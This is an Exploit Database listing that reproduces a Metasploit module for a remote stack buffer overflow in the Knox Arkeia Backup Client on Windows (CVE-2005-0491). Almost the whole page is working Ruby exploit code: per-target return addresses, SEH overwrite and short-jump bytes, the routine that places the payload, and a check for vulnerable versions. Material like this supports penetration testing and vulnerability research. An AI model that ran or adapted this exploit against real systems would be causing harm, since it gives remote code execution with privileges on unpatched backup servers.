Knox Arkeia Backup Client Type 77 (Windows x86) – Remote Overflow (Metasploit)

• Exploit Database
• 20 阅读

• 作者： Metasploit
  日期： 2010-05-09
• 类别：

  • remote
  平台：

  • windows_x86
• 来源：https://www.exploit-db.com/exploits/16466/

• ##
  # $Id: type77.rb 9262 2010-05-09 17:45:00Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Arkeia
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Arkeia Backup Client Type 77 Overflow (Win32)',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in the Arkeia backup
  				client for the Windows platform. This vulnerability affects
  				all versions up to and including 5.3.3.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9262 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-0491' ],
  					[ 'OSVDB', '14011'],
  					[ 'BID', '12594'],
  					[ 'URL', 'http://lists.netsys.com/pipermail/full-disclosure/2005-February/031831.html'],
  				],
  			'Privileged' => true,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					['Arkeia 5.3.3 and 5.2.27 Windows (All)',{ 'Platform' => 'win', 'Rets' => [ 0x004130a2, 5 ] }], # arkeiad.exe
  					['Arkeia 5.2.27 and 5.1.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x00407b9c, 5 ] }], # arkeiad.exe
  					['Arkeia 5.3.3 and 5.0.19 Windows (All)',{ 'Platform' => 'win', 'Rets' => [ 0x0041d6b9, 5 ] }], # arkeiad.exe
  					['Arkeia 5.1.19 and 5.0.19 Windows (All)', { 'Platform' => 'win', 'Rets' => [ 0x00423264, 5 ] }], # arkeiad.exe
  					['Arkeia 5.x Windows 2000 English',{ 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 5 ] }], # ws2help.dll
  					['Arkeia 5.x Windows XP English SP0/SP1',{ 'Platform' => 'win', 'Rets' => [ 0x71aa32ad, 5 ] }], # ws2help.dll
  					['Arkeia 5.x Windows NT 4.0 SP4/SP5/SP6',{ 'Platform' => 'win', 'Rets' => [ 0x77681799, 5 ] }], # ws2help.dll
  					['Arkeia 4.2 Windows 2000 English',{ 'Platform' => 'win', 'Rets' => [ 0x75022ac4, 4 ] }], # ws2help.dll
  					['Arkeia 4.2 Windows XP English SP0/SP1',{ 'Platform' => 'win', 'Rets' => [ 0x71aa32ad, 4 ] }], # ws2help.dll
  					['Arkeia 4.2 Windows NT 4.0 SP4/SP5/SP6',{ 'Platform' => 'win', 'Rets' => [ 0x77681799, 4 ] }], # ws2help.dll
  					['Arkeia 4.2 Windows 2000 German', { 'Platform' => 'win', 'Rets' => [ 0x74fa1887, 4 ] }], # ws2help.dll
  				],
  			'DisclosureDate' => 'Feb 18 2005',
  			'DefaultTarget' => 0))
  	end
  
  	def check
  		info = arkeia_info()
  		if !(info and info['Version'])
  			return Exploit::CheckCode::Safe
  		end
  
  		print_status("Arkeia Server Information:")
  		info.each_pair { |k,v|
  			print_status(" #{k + (" " * (30-k.length))} = #{v}")
  		}
  
  		if (info['System'] !~ /Windows/)
  			print_status("This module only supports Windows targets")
  			return Exploit::CheckCode::Detected
  		end
  
  		if (info['Version'] =~ /Backup (4\.|5\.([012]\.|3\.[0123]$))/)
  			return Exploit::CheckCode::Vulnerable
  		end
  
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		head = "\x00\x4d\x00\x03\x00\x01\xff\xff"
  		data = (target['Rets'][1] == 5) ? prep_ark5() : prep_ark4()
  		head[6, 2] = [data.length].pack('n')
  
  		begin
  			sock.put(head)
  			sock.put(data)
  			sock.get_once
  		rescue IOError, EOFError => e
  			print_status("Exception: #{e.class}:#{e}")
  		end
  		handler
  		disconnect
  	end
  
  	def prep_ark5
  		data = rand_text_english(4096, payload_badchars)
  		data[1176, 4] = [target['Rets'][0]].pack('V')
  		data[1172, 2] = "\xeb\xf9"
  		data[1167, 5] = "\xe98" + [-1172].pack('V')
  		data[0, payload.encoded.length] = payload.encoded
  	end
  
  	def prep_ark4
  		data = rand_text_english(4096, payload_badchars)
  		seh = generate_seh_payload( target['Rets'][0] )
  		data[ 96, seh.length] = seh
  	end
  
  end